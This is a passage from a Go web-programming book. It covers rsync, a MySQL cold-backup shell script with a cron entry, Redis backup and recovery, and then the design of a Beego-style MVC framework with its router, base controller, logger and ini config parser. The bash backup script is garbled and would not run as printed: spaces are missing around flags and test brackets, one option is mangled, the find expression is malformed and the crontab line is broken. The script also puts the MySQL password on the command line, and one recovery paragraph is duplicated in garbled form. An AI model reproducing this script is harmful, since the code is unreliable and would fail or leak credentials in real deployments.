3. `--password-file` specifies a password file for accessing an rsync daemon. On the client side, this is typically the `client/etc/rsyncd.secrets` file, and on the server side, it's `/etc/rsyncd.secrets`. When using something like Cron to automate rsync, you won't need to manually enter a password.
4. `username` specifies the username to be used in conjunction with the server-side `/etc/rsyncd.secrets` password
5. `192.168.145.5` is the IP address of the server
6. `::www` (note the double colons), specifies contacting an rsync daemon directly via TCP for synchronizing the `www` module according to the server-side configurations located in `/etc/rsyncd.conf`. When only a single colon is used, the rsync daemon is not contacted directly; instead, a remote-shell program such as ssh is used as the transport .

In order to periodically synchronize files, you can set up a crontab file that will run rsync commands as often as needed. Of course, users can vary the frequency of synchronization according to how critical it is to keep certain directories or files up to date.

MySQL backup

MySQL databases are still the mainstream, go-to solution for most web applications. The two most common methods of backing up MySQL databases are hot backups and cold backups. Hot backups are usually used with systems set up in a master/slave configuration to backup live data (the master/slave synchronization mode is typically used for separating database read/write operations, but can also be used for backing up live data). There is a lot of information available online detailing the various ways one can implement this type of scheme. For cold backups, incoming data is not backed up in real-time as is the case with hot backups. Instead, data backups are performed periodically. This way, if the system fails, the integrity of data before a certain period of time can still be guaranteed. For instance, in cases where a system malfunction causes data to be lost and the master/slave model is unable to retrieve it, cold backups can be used for a partial restoration.

A shell script is generally used to implement regular cold backups of databases, executing synchronization tasks using rsync in a non-local mode.

The following is an example of a backup script that performs scheduled backups for a MySQL database. We use the `mysqldump` program which allows us to export the database to a file.

```
#!/bin/bash
# Configuration information; modify it as needed
mysql_user="USER" #MySQL backup user
mysql_password="PASSWORD" # MySQL backup user's password
mysql_host="localhost"
mysql_port="3306"
mysql_charset="utf8" # MySQL encoding
backup_db_arr=("db1" "db2") # Name of the database to be backed up, separating multiple databases wih spaces ("DB1",
"DB2" db3 ")
backup_location=/var/www/mysql # Backup data storage location; please do not end with a "/" and leave it at its defau
lt, for the program to automatically create a folder
expire_backup_delete="ON" # Whether to delete outdated backups or not
expire_days=3 # Set the expiration time of backups, in days (defaults to three days); this is only valid when the `ex
pire_backup_delete` option is "ON"

# We do not need to modify the following initial settings below
backup_time=`date +%Y%m%d%H%M` # Define the backup time format
backup_Ymd=`date +%Y-%m-%d` # Define the backup directory date time
backup_3ago=`date-d '3 days ago '+%Y-%m-%d` # 3 days before the date
backup_dir=$backup_location/$backup_Ymd # Full path to the backup folder
welcome_msg="Welcome to use MySQL backup tools!" # Greeting

# Determine whether to MySQL is running; if not, then abort the backup
mysql_ps=`ps-ef | grep mysql | wc-l`
mysql_listen=`netstat-an | grep LISTEN | grep $mysql_port | wc-l`
if [[$mysql_ps==0]-o [$mysql_listen==0]]; then
  echo "ERROR: MySQL is not running! backup aborted!"
  exit
else
  echo $welcome_msg
fi

# Connect to the mysql database; if a connection cannot be made, abort the backup
mysql-h $mysql_host-P $mysql_port-u $mysql_user-p $mysql_password << end
use mysql;
select host, user from user where user='root' and host='localhost';
exit
end

flag=`echo $?`
if [$flag!="0"]; then
  echo "ERROR: Can't connect mysql server! backup aborted!"
  exit
else
  echo "MySQL connect ok! Please wait......"
   # Determine whether a backup database is defined or not. If so, begin the backup; if not, then abort
  if ["$backup_db_arr"!=""]; then
       # dbnames=$(cut-d ','-f1-5 $backup_database)
       # echo "arr is(${backup_db_arr [@]})"
      for dbname in ${backup_db_arr [@]}
      do
          echo "database $dbname backup start..."
          `mkdir -p $backup_dir`
          `mysqldump -h $mysql_host -P $mysql_port -u $mysql_user -p $mysql_password $dbname - default-character-set=
$mysql_charset | gzip> $backup_dir/$dbname -$backup_time.sql.gz`
          flag=`echo $?`
          if [$flag=="0"]; then
              echo "database $dbname successfully backed up to $backup_dir/$dbname-$backup_time.sql.gz"
          else
              echo "database $dbname backup has failed!"
          fi

      done
  else
      echo "ERROR: No database to backup! backup aborted!"
      exit
  fi
   # If deleting expired backups is enabled, delete all expired backups
```

```
  if ["$expire_backup_delete"=="ON" -a "$backup_location"!=""]; then
      # `find $backup_location/-type d -o -type f -ctime + $expire_days-exec rm -rf {} \;`
      `find $backup_location/ -type d -mtime + $expire_days | xargs rm -rf`
      echo "Expired backup data delete complete!"
  fi
  echo "All databases have been successfully backed up! Thank you!"
  exit
fi
```

Modify the properties of the shell script like so:

```
chmod 600 /root/mysql_backup.sh
chmod +x /root/mysql_backup.sh
```

Then add the crontab command:

```
00 00 *** /root/mysql_backup.sh
```

This sets up regular backups of your databases to the `/var/www/mysql` directory every day at 00:00, which can then be synchronized using rsync.

MySQL Recovery

We've just described some commonly used backup techniques for MySQL, namely hot backups and cold backups. To recap, the main goal of a hot backup is to be able to recover data in real-time after an application has failed in some way, such as in the case of a server hard-disk malfunction. We learned that this type of scheme can be implemented by modifying database configuration files so that databases are replicated onto a slave, minimizing interruption to services.

But sometimes we need to perform a cold backup of the SQL data recovery, as with database backup, you can import through the command: Hot backups are, however, sometimes inadequate. There are certain situations where cold backups are required to perform data recovery, even if it's only a partial one. When you have a cold backup of your database, you can use the following `MySQL` command to import it:

```
mysql -u username -p databse < backup.sql
```

As you can see, importing and exporting database is a fairly simple matter. If you need to manage administrative privileges or deal with different character sets, this process may become a little more complicated, though there are a number of commands which will help you to do this.

Redis backup

Redis is one of the most popular NoSQL databases, and both hot and cold backup techniques can also be used in systems which use it. Like MySQL, Redis also supports master/slave mode, which is ideal for implementing hot backups (refer to Redis' official documentation to learn how to configure this; the process is very straightforward). As for cold backups, Redis routinely saves cached data in memory to the database file on-disk. We can simply use the rsync backup method described above to synchronize it with a non-local machine.

Redis recovery

Similarly, Redis recovery can be divided into hot and cold backup recovery. The methods and objectives of recovering data from a hot backup of a Redis database are the same as those mentioned above for MySQL, as long as the Redis application is using the appropriate database connection.

A Redis cold backup recovery simply involves copying backed-up database files into the working directory, then starting Redis on it. The database files are automatically loaded into memory at boot time; the speed with which Redis boots will depend on the size of the database files.

Summary

In this section, we looked at some techniques for backing up data as well as recovering from disasters which may occur after deploying our applications. We also introduced rsync, a tool which can be used to synchronize files on different systems. Using rsync, we can easily perform backup and restoration procedures for both MySQL and Redis databases, among others. We hope that by being introduced to some of these concepts, you will be able to develop disaster recovery procedures to better protect the data in your web applications.

Links

- Directory
- Previous section: Deployment
- Next section: Summary

12.5 Summary

In this chapter, we discussed how to deploy and maintain our Go web applications. We also looked at some closely related topics which can help us to keep them running smoothly, with minimal maintenance.

Specifically, we looked at:

- Creating a robust logging system capable of recording errors, and notifying system administrators
- Handling runtime errors that may occur, including logging them, and how to relay this information in a user-friendly manner that there is a problem
- Handling 404 errors and notifying users that the requested page cannot be found
- Deploying applications to a production environment (including how to deploy updates)
- How to deploy highly available applications
- Backing up and restoring files and databases

After reading the contents of this chapter, those thinking about developing a web application from scratch should already have the full picture on how to do so; this chapter provided an introduction on how to manage deployment environments, while previous chapters have focused on the development of code.

Links

- Directory
- Previous section: Backup and recovery
- Next chapter: Building a web framework

13 Building a web framework

The Preceding twelve chapters describe how to develop web applications in Go, introducing a lot of basic knowledge, development tools and techniques. In this chapter, we will be using this knowledge to implement a simple web framework. The first section of this chapter will take you through the planning and design stage of building a web framework. We'll look at leveraging the MVC pattern as well as designing program execution flow, among other things. The second section will describe the first feature of our framework: Routing; namely, how to map URLs to processing logic. Then in the third section, we describe the processing logic itself, which involves designing generic controllers, and how to handle requests and return responses after inheriting from an object handler. Next, we describe some of the auxiliary functionality common to most web frameworks, such as log processing, information configuration, etc. Finally, we'll implement a simple blogging system on top of our framework which will demonstrate the application logic necessary for publishing, modifying, deleting, and displaying lists of blog posts.

By seeing first-hand how to implement such a complete project from scratch, you will hopefully have a better understanding of the inner workings of Go web applications. You'll be comfortable building your own project directory structures, implementing URL routers and utilizing MVC, among other aspects of web development. Among the frameworks prevalent today, MVC is no longer a myth. It's not uncommon to hear programmers arguing about which frameworks are good and which are bad, which is often too shallow of an approach. Frameworks are only tools, and some tools are more suitable for certain applications than others. There are no universally good or bad tools. Thus, by teaching yourself how to write a framework from scratch, you will be able to tailor-make the perfect tool to best realize your ideas!

Links

- Directory
- Previous chapter: Chapter 12 summary
- Next section: Project program

13.1 Project planning

Anything you intend to do well must first be planned well. In our case, our intention is to develop a blogging system, so the first step we should take is to design the flow of the application in its entirety. When we have a clear understanding of the our application's process of execution, the subsequent design and coding steps become much easier.

GOPATH and project settings

Let's proceed by assuming that our GOPATH points to a folder with an ordinary directory name (if not, we can easily set up a suitable directory and set its path as the GOPATH). As we've describe earlier, a GOPATH can contain more than one directory: in Windows, we can set this as an environment variable; in linux/OSX systems, GOPATH can be set using `export`, i.e: `export gopath=/path/to/your/directory`, as long as the directory which GOPATH points to contains the three sub-directories: `pkg`, `bin` and `src`. Below, we've placed the source code of our new project in the `src` directory with the tentative name `beelog`. Here are some screenshots of the Windows environment variables as well as of the directory structure.

Figure 13.1 Setting the GOPATH environment variable

Figure 13.2 The working directory under $gopath/src

Application flowchart

Our blogging system will be based on the model-view-controller design pattern. MVC is the separation of the application logic from the presentation layer. In practice, when we keep the presentation layer separated, we can drastically reduce the amount of code needed on our web pages.

- Models represent data as well as the rules and logic governing it. In General, a model class will contain functions for removing, inserting and updating database information.
- Views are a representation of the state of a model. A view is usually a page, but in Go, a view can also be a fragment of a page, such as a header or footer. It can also be an RSS feed, or any other type of "page". Go's `template` package provides very good support for view layer functionality.
- Controllers are the glue logic between the model and view layers and encompasses all the intermediary logic necessary for handling HTTP requests and generating Web pages.

The following figure is an overview of the project framework and demonstrates how data will flow through the system:

Figure 13.3 framework data flow

1. Main.go is the application's entry point and initializes some basic resources required to run the blog such as configuration information, listening ports, etc.
2. Routing checks all incoming HTTP requests and, according to the method, URL and parameters, matches it with the corresponding controller action.
3. If the requested resource has already been cached, the application will bypass the usual execution process and return a response directly to the user's browser.
4. Security detection: The application will filter incoming HTTP requests and any other user submitted data before handing it off to the controller.
5. Controller loads models, core libraries, and any other resources required to process specific requests. The controller is primarily responsible for handling business logic.

6. Output the rendered view to be sent to the client's web browser. If caching has been enabled, the first view is cached for future requests to the same resource.

Directory structure

According to the framework flow we've designed above, our blog project's directory structure should look something like the following:

```
|——main.go         import documents
|——conf            configuration files and processing module
|——controllers     controller entry
|——models          database processing module
|——utils           useful function library
|——static          static file directory
|——views           view gallery
```

Framework design

In order to quickly build our blog, we need to develop a minimal framework based on the application we've designed above. The framework should include routing capabilities, support for RESTful controllers, automated template rendering, a logging system, configuration management, and more.

Summary

This section describes the initial design of our blogging system, from setting up our GOPATH to briefly introducing the MVC pattern. We also looked at the flow of data and the execution sequence of our blogging system. Finally, we designed the structure of our project directory. At this point, we've basically completed the groundwork required for assembling our framework. In the next few sections, we will implement each of the components we've discussed, one by one.

Links

- Directory
- Previous section: Building a web framework
- Next section: Customizing routers

13.2 Customizing routers

HTTP routing

The HTTP routing component is responsible for mapping HTTP requests to a corresponding function or `struct` method. The router takes two key pieces of information from incoming requests:

-The user requested path (for example, `/user/123,/article/123`), and any query strings or parameters that come with it (for example, `?id=11`) -The HTTP request method (GET, POST, PUT, and DELETE, PATCH, etc.)

The router then forwards the request to the handler function (controller layer) that has been registered with that particular HTTP method and path.

Default routing implementation

In section 3.4, we introduced Go's `http` package in detail, which included how to design and implement routing. Here, we take another look at an example that illustrates the routing process:

```
func fooHandler(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
}

http.Handle("/foo", fooHandler)

http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
})

log.Fatal(http.ListenAndServe(":8080", nil))
```

The example above calls `http`'s default mux called `DefaultServeMux`, implicitly specified by the `nil` parameter in the call to `http.ListenAndServe`. The `http.Handle` function takes two parameters: the first parameter is the resource you want users to access, specified by its URL path (which is stored in `r.URL.Path`) and the second argument binds a handler function with this path. The Router has two main jobs:

- To add and store routing information
- To forward requests to a handler function for processing

By default, Go routes are handled with `http.Handle` and `http.HandleFunc` types, registered by default through the underlying `DefaultServeMux.Handle(pattern string, handler Handler)` function. This function maps resource paths to handlers and stores them in a `map[string]muxEntry` map. This is the first job that we mentioned above.

When the application is running, the Go server listens to a port. When it receives a tcp connection, it uses a `Handler` to process it. As aforementioned, since the `Handler` in the example above is `nil`, the default router `http.DefaultServeMux` is used. Using the map of previously stored routes, `DefaultServeMux.ServeHTTP` will dispatch the request to the first handler with a matching path. This is the router's second job.

```
for k, v := range mux.m {
    if !pathMatch(k, path) {
        continue
    }
    if h == nil || len(k) > n {
        n = len(k)
        h = v.h
    }
}
```

Routing with Beego

At present, most Go web applications base their routing on `http`'s default router, however this has several limitations:

- Does not support dynamic routes with parameters, such as `the/user/:UID`
- Does not have good support for REST. The access methods cannot be restricted; for instance in the above example, when users access `/foo`, they can use the GET, POST, DELETE, and HEAD HTTP methods, among others.
- In large apps, routing rules can become repetitive and cumbersome. Personally, I've developed simple web APIs composed of nearly thirty routing rules when in fact, these rules could have been further simplified using method structs.

The Beego framework's router is designed to overcome these limitations, taking the REST paradigm into consideration and simplifying the storing and forwarding of routes and requests.

Storing routes

To address the first limitation of the default router, we need to be able to support dynamic URL parameters. For the second and third points, we adopt an alternative approach,mapping REST methods to struct methods and routing requests to this struct instead of to handler functions. This way, a forwarded request can be handled according to it's HTTP method.

Based on the above ideas, we've designed two data types: `controllerInfo`, which saves the path and the corresponding `controllerType` struct as a `reflect.Type` type, and `ControllerRegistor`, which saves routing information for the specified Beego application.

```
type controllerInfo struct {
    regex          *regexp.Regexp
    params         map[int]string
    controllerType reflect.Type
}

type ControllerRegistor struct {
    routers     []*controllerInfo
    Application *App
}
```

ControllerRegistor's external interface contains the following method:

```
func(p *ControllerRegistor) Add(pattern string, c ControllerInterface)
```

Its detailed implementation is as follows:

```
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) {
    parts := strings.Split(pattern, "/")

    j := 0
    params := make(map[int]string)
    for i, part := range parts {
        if strings.HasPrefix(part, ":") {
            expr := "([^/]+)"

            //a user may choose to override the default expression
            // similar to expressjs: ‘/user/:id([0-9]+)’

            if index := strings.Index(part, "("); index != -1 {
                expr = part[index:]
                part = part[:index]
            }
            params[j] = part
            parts[i] = expr
            j++
        }
    }

    //recreate the url pattern, with parameters replaced
    //by regular expressions. Then compile the regex.

    pattern = strings.Join(parts, "/")
    regex, regexErr := regexp.Compile(pattern)
    if regexErr != nil {

        //TODO add error handling here to avoid panic
        panic(regexErr)
        return
    }

    //now create the Route
    t := reflect.Indirect(reflect.ValueOf(c)).Type()
    route := &controllerInfo{}
    route.regex = regex
    route.params = params
    route.controllerType = t

    p.routers = append(p.routers, route)

}
```

Static routing

We've implemented dynamic routing in our example above. By default, Go's `http` package supports serving static files with `http.FileServer`, which returns a `Handler`. Since we have implemented a custom router, we will also need a way of handling static files. Beego's static folder path is saved in a global variable called `StaticDir`, which maps the URL to corresponding paths. The `SetStaticPath`'s implementation can be seen below:

```
func (app *App) SetStaticPath(url string, path string) *App {
    StaticDir[url] = path
    return app
}
```

The application's static routes can be set like so:

```
beego.SetStaticPath("/img", "/static/img")
```

Forwarding routes

We can forward routes based on the forwarding information contained within `ControllerRegistor`. The detailed implementation can be seen in the following code snippet:

```
// AutoRoute
func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    defer func() {
        if err := recover(); err != nil {
            if !RecoverPanic {
                // go back to panic
                panic(err)
            } else {
                Critical("Handler crashed with error", err)
                for i := 1; ; i += 1 {
                    _, file, line, ok := runtime.Caller(i)
                    if !ok {
                        break
                    }
                    Critical(file, line)
                }
            }
        }
    }()
    var started bool
    for prefix, staticDir := range StaticDir {
        if strings.HasPrefix(r.URL.Path, prefix) {
            file := staticDir + r.URL.Path[len(prefix):]
            http.ServeFile(w, r, file)
            started = true
            return
        }
    }
    requestPath := r.URL.Path

    //find a matching Route
    for _, route := range p.routers {

        //check if Route pattern matches url
        if !route.regex.MatchString(requestPath) {
            continue
        }

        //get submatches (params)
        matches := route.regex.FindStringSubmatch(requestPath)

        //double check that the Route matches the URL pattern.
        if len(matches[0]) != len(requestPath) {
            continue
        }

        params := make(map[string]string)
        if len(route.params) > 0 {
            //add url parameters to the query param map
            values := r.URL.Query()
            for i, match := range matches[1:] {
                values.Add(route.params[i], match)
                params[route.params[i]] = match
            }

            //reassemble query params and add to RawQuery
            r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery
            //r.URL.RawQuery = url.Values(values).Encode()
        }
        //Invoke the request handler
        vc := reflect.New(route.controllerType)
        init := vc.MethodByName("Init")
        in := make([]reflect.Value, 2)
        ct := &Context{ResponseWriter: w, Request: r, Params: params}
        in[0] = reflect.ValueOf(ct)
        in[1] = reflect.ValueOf(route.controllerType.Name())
        init.Call(in)
        in = make([]reflect.Value, 0)
```

```
        method := vc.MethodByName("Prepare")
        method.Call(in)
        if r.Method == "GET" {
            method = vc.MethodByName("Get")
            method.Call(in)
        } else if r.Method == "POST" {
            method = vc.MethodByName("Post")
            method.Call(in)
        } else if r.Method == "HEAD" {
            method = vc.MethodByName("Head")
            method.Call(in)
        } else if r.Method == "DELETE" {
            method = vc.MethodByName("Delete")
            method.Call(in)
        } else if r.Method == "PUT" {
            method = vc.MethodByName("Put")
            method.Call(in)
        } else if r.Method == "PATCH" {
            method = vc.MethodByName("Patch")
            method.Call(in)
        } else if r.Method == "OPTIONS" {
            method = vc.MethodByName("Options")
            method.Call(in)
        }
        if AutoRender {
            method = vc.MethodByName("Render")
            method.Call(in)
        }
        method = vc.MethodByName("Finish")
        method.Call(in)
        started = true
        break
    }

    //if no matches to url, throw a not found exception
    if started == false {
        http.NotFound(w, r)
    }
}
```

Getting started

Using our router design, we can solve the three limitations mentioned earlier. The three main use-cases are:

Registering route handlers:

```
beego.BeeApp.RegisterController("/", &controllers.MainController{})
```

Handling dynamic parameters:

```
beego.BeeApp.RegisterController("/:param", &controllers.UserController{})
```

Regex matching:

```
beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})
```

Links

- Directory
- Previous section: Project planning
- Next section: Designing controllers

13.3 Designing controllers

Most traditional MVC frameworks are based on suffix action mapping. Nowadays, the REST style web architecture is becoming increasingly popular. One can implement REST-style URLs by filtering or rewriting them, but why not just design a new REST-style MVC framework instead? This section is based on this idea, and focuses on designing and implementing a controller based, REST-style MVC framework from scratch. Our goal is to simplify the development of web applications, perhaps even allowing us to write a single line of code capable of serving "Hello, world".

The controller's role

The MVC design pattern is currently the most used framework model for web applications. By keeping Models, Views and Controllers separated, we can keep our web applications modular, maintainable, testable and extensible. A model encapsulates data and any of the business logic that governs that data, such as accessibility rules, persistence, validation, etc. Views serve as the data's representation and in the case of web applications, they usually live as templates which are then rendered into HTML and served. Controllers serve as the "glue" logic between Models and Views and typically have methods for handling different URLs. As described in the previous section, when a URL request is forwarded to a controller by the router, the controller delegates commands to the Model to perform some action, then notifies the View of any changes. In certain cases, there is no need for models to perform any kind of logical or data processing, or for any views to be rendered. For instance, in the case of an HTTP 302 redirect, no view needs to be rendered and no processing needs to be performed by the Model, however the Controller's job is still essential.

RESTful design in Beego

The previous section describes registering route handlers with RESTful structs. Now, we need to design the base class for a logic controller that will be composed of two parts: a struct and interface type.

```
type Controller struct {
    Ct        *Context
    Tpl       *template.Template
    Data      map[interface{}]interface{}
    ChildName string
    TplNames  string
    Layout    []string
    TplExt    string
}

type ControllerInterface interface {
    Init(ct *Context, cn string) //Initialize the context and subclass name
    Prepare()                    //some processing before execution begins
    Get()                        //method = GET processing
    Post()                       //method = POST processing
    Delete()                     //method = DELETE processing
    Put()                        //method = PUT handling
    Head()                       //method = HEAD processing
    Patch()                      //method = PATCH treatment
    Options()                    //method = OPTIONS processing
    Finish()                     //executed after completion of treatment
    Render() error               //method executed after the corresponding method to render the page
}
```

Then add the route handling function described earlier in this chapter. When a route is defined to be a `ControllerInterface` type, so long as we can implement this interface, we can have access to the following methods of our base class controller.

```
func (c *Controller) Init(ct *Context, cn string) {
    c.Data = make(map[interface{}]interface{})
    c.Layout = make([]string, 0)
```

```
    c.TplNames = ""
    c.ChildName = cn
    c.Ct = ct
    c.TplExt = "tpl"
}

func (c *Controller) Prepare() {

}

func (c *Controller) Finish() {

}

func (c *Controller) Get() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Post() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Delete() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Put() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Head() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Patch() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Options() {
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}

func (c *Controller) Render() error {
    if len(c.Layout) > 0 {
        var filenames []string
        for _, file := range c.Layout {
            filenames = append(filenames, path.Join(ViewsPath, file))
        }
        t, err := template.ParseFiles(filenames...)
        if err != nil {
            Trace("template ParseFiles err:", err)
        }
        err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data)
        if err != nil {
            Trace("template Execute err:", err)
        }
    } else {
        if c.TplNames == "" {
            c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt
        }
        t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames))
        if err != nil {
            Trace("template ParseFiles err:", err)
        }
        err = t.Execute(c.Ct.ResponseWriter, c.Data)
        if err != nil {
            Trace("template Execute err:", err)
        }
    }
    return nil
}
```

```
func (c *Controller) Redirect(url string, code int) {
    c.Ct.Redirect(code, url)
}
```

Above, the controller base class already implements the functions defined in the interface. Through our routing rules, the request will be routed to the appropriate controller which will in turn execute the following methods:

```
Init() initialization routine
Prepare() pre-initialization routine; each inheriting subclass may implement this function
method() depending on the request method, perform different functions: GET, POST, PUT, HEAD, etc. Subclasses should i
mplement these functions; if not implemented, then the default is 403
Render() optional method. Determine whether or not to execute according to the global variable "AutoRender"
Finish() is executed after the action been completed. Each inheriting subclass may implement this function
```

Application guide

Above, we've just finished discussing Beego's implementation of the base controller class. We can now use this information to design our request handling, inheriting from the base class and implementing the necessary methods in our own controller.

```
package controllers

import (
    "github.com/astaxie/beego"
)

type MainController struct {
    beego.Controller
}

func (this *MainController) Get() {
    this.Data["Username"] = "astaxie"
    this.Data["Email"] = "astaxie@gmail.com"
    this.TplNames = "index.tpl"
}
```

In the code above, we've implemented a subclass of `Controller` called `MainController` which only implements the `Get()` method. If a user tries to access the resource using any of the other HTTP methods (POST, HEAD, etc), a 403 Forbidden will be returned. However, if a user submits a GET request to the resource and we have the `AutoRender` variable set to `true`, the resource's controller will automatically call its `Render()` function, rendering the corresponding template and responding with the following:

The `index.tpl` code can be seen below; as you can see, parsing model data into a template is quite simple:

```
<!DOCTYPE html>
<html>
  <head>
    <title>beego welcome template</title>
  </head>
  <body>
    <h1>Hello, world!{{.Username}},{{.Email}}</h1>
  </body>
</html>
```

Links

- Directory

- Previous section: Customizing routers
- Next section: Logs and configurations

13.4 Logging and configuration

The importance of logging and configuration

Previously in the book, we saw that event logging plays a very important role in application development. With adequate logging, we can record crucial information that can later be dissected for debugging and optimization purposes. In the section where we looked at the seelog logging utility, we saw that it had settings for various log level gradations, which can be essential for program development and deployment; we can set the logging level lower in a development environment, while setting it high in production so that we can mask extraneous information when we are trying to debug our application.

Setting up the server configuration module for deploying an application involves a number of different server settings. For example, we typically need to provide information regarding database configuration, listening ports, etc., via the configuration file. Setting up a centralized configuration file allows us the flexibility of deploying the application to different machines and connecting to remote databases, if needed.

The Beego logging system

The Beego logger's design borrows ideas from seelog and provides similar functionality in terms of setting logging levels. Beego's system is, however, more lightweight and makes use of the Go's `log.Logger` interface. By default, logs are output to os.Stdout, but users can implement this interface through `beego.SetLogger` to customize this. A detailed example of an implemented interface can be seen below:

```
// Log levels for controlling the logging output.
const (
    LevelTrace = iota
    LevelDebug
    LevelInfo
    LevelWarning
    LevelError
    LevelCritical
)

// logLevel controls the global log level used by the logger.
var level = LevelTrace

// LogLevel returns the global log level and can be used in
// a custom implementations of the logger interface.
func Level() int {
    return level
}

// SetLogLevel sets the global log level used by the simple
// logger.
func SetLevel(l int) {
    level = l
}
```

This section implements the above log grading system. The default level is set to Trace and users can customize grading levels using `SetLevel` .

```
// logger references the used application logger.
var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime)

// SetLogger sets a new logger.
func SetLogger(l *log.Logger) {
    BeeLogger = l
}

// Trace logs a message at trace level.
func Trace(v ...interface{}) {
    if level <= LevelTrace {
        BeeLogger.Printf("[T] %v\n", v)
    }
}

// Debug logs a message at debug level.
func Debug(v ...interface{}) {
    if level <= LevelDebug {
        BeeLogger.Printf("[D] %v\n", v)
    }
}

// Info logs a message at info level.
func Info(v ...interface{}) {
    if level <= LevelInfo {
        BeeLogger.Printf("[I] %v\n", v)
    }
}

// Warning logs a message at warning level.
func Warn(v ...interface{}) {
    if level <= LevelWarning {
        BeeLogger.Printf("[W] %v\n", v)
    }
}

// Error logs a message at error level.
func Error(v ...interface{}) {
    if level <= LevelError {
        BeeLogger.Printf("[E] %v\n", v)
    }
}

// Critical logs a message at critical level.
func Critical(v ...interface{}) {
    if level <= LevelCritical {
        BeeLogger.Printf("[C] %v\n", v)
    }
}
```

The code snippet above initializes a `BeeLogger` object by default, outputting logs to `os.Stdout`. As mentioned, users can implement `beego.SetLogger` to customize the logger's output. `BeeLogger` implements six functions:

- Trace (record general information, for example:)
  - "Entered parse function validation block"
  - "Validation: entered second 'if'"
  - "Dictionary 'Dict' is empty. Using default value"
- Debug (debugging information, for example:)
  - "Web page requested: http://somesite.com Params = '...'"
  - "Response generated. Response size: 10000. Sending."
  - "New file received. Type: PNG Size: 20000"
- Info (printing general information, for example:)
  - "Web server restarted"
  - "Hourly statistics: Requested pages: 12345 Errors: 123..."
  - "Service paused. Waiting for 'resume' call"

- Warn (warning messages, for example:)
  - "Cache corrupted for file = 'test.file'. Reading from back-end"
  - "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB"
  - "No response from statistics server. Statistics not sent"
- Error (error messages, for example:)
  - "Internal error. Cannot process request# 12345 Error:...."
  - "Cannot perform login: credentials DB not responding"
- Critical (fatal errors, for example:)
  - "Critical panic received:.... Shutting down"
  - "Fatal error:... App is shutting down to prevent data corruption or loss"

You can see that each of these levels has a specific purpose. For instance if we set the logging level to Warn (`level=LevelWarning`), at the time of deployment, all of the lower level logs (Trace, Debug, Info) will not output anything.

Beego configuration design

For processing configuration information, Beego implements a key=value file parser which reads information formatted similarly to `ini` configuration files. The parser reads the configuration data and saves it to a map. Finally, it calls several functions for retrieving the value's datatype (int, string, etc). The detailed implementation can be seen below:

Define some global constants for the `ini` configuration file:

```
var (
    bComment = []byte{'#'}
    bEmpty   = []byte{}
    bEqual   = []byte{'='}
    bDQuote  = []byte{'"'}
)
```

Defines the format of the configuration file:

```
// A Config represents the configuration.
type Config struct {
    filename string
    comment  map[int][]string  // id: []{comment, key...}; id 1 is for main comment.
    data     map[string]string // key: value
    offset   map[string]int64  // key: offset; for editing.
    sync.RWMutex
}
```

Defines a function for parsing the file. The process begins by opening the file, then reading it line by line and parsing comments, blank lines and key=value data:

```
// ParseFile creates a new Config and parses the file configuration from the
// named file.
func LoadConfig(name string) (*Config, error) {
    file, err := os.Open(name)
    if err != nil {
        return nil, err
    }

    cfg := &Config{
        file.Name(),
        make(map[int][]string),
        make(map[string]string),
        make(map[string]int64),
        sync.RWMutex{},
    }
    cfg.Lock()
    defer cfg.Unlock()
    defer file.Close()

    var comment bytes.Buffer
    buf := bufio.NewReader(file)

    for nComment, off := 0, int64(1); ; {
        line, _, err := buf.ReadLine()
        if err == io.EOF {
            break
        }
        if bytes.Equal(line, bEmpty) {
            continue
        }

        off += int64(len(line))

        if bytes.HasPrefix(line, bComment) {
            line = bytes.TrimLeft(line, "#")
            line = bytes.TrimLeftFunc(line, unicode.IsSpace)
            comment.Write(line)
            comment.WriteByte('\n')
            continue
        }
        if comment.Len() != 0 {
            cfg.comment[nComment] = []string{comment.String()}
            comment.Reset()
            nComment++
        }

        val := bytes.SplitN(line, bEqual, 2)
        if bytes.HasPrefix(val[1], bDQuote) {
            val[1] = bytes.Trim(val[1], `"`)
        }

        key := strings.TrimSpace(string(val[0]))
        cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key)
        cfg.data[key] = strings.TrimSpace(string(val[1]))
        cfg.offset[key] = off
    }
    return cfg, nil
}
```

Below are a number of functions the parser uses for reading the configuration file. The return value is determined as either a bool, int, float64 or string:

```
// Bool returns the boolean value for a given key.
func (c *Config) Bool(key string) (bool, error) {
    return strconv.ParseBool(c.data[key])
}

// Int returns the integer value for a given key.
func (c *Config) Int(key string) (int, error) {
    return strconv.Atoi(c.data[key])
}

// Float returns the float value for a given key.
func (c *Config) Float(key string) (float64, error) {
    return strconv.ParseFloat(c.data[key], 64)
}

// String returns the string value for a given key.
func (c *Config) String(key string) string {
    return c.data[key]
}
```

Application guide

The following function is an example of an application I used to fetch json data from a remote url address:

```
func GetJson() {
    resp, err := http.Get(beego.AppConfig.String("url"))
    if err != nil {
        beego.Critical("http get info error")
        return
    }
    defer resp.Body.Close()
    body, err := ioutil.ReadAll(resp.Body)
    err = json.Unmarshal(body, &AllInfo)
    if err != nil {
        beego.Critical("error:", err)
    }
}
```

Beego's `Critical()` logging function is called to report any errors which may occur in the `GetJson()` function. `beego.AppConfig.String("url")` is used to obtain information from a configuration file (typically `app.conf`), which might look something like the following:

```
appname = hs
url ="http://www.api.com/api.html"
```

Links

- Directory
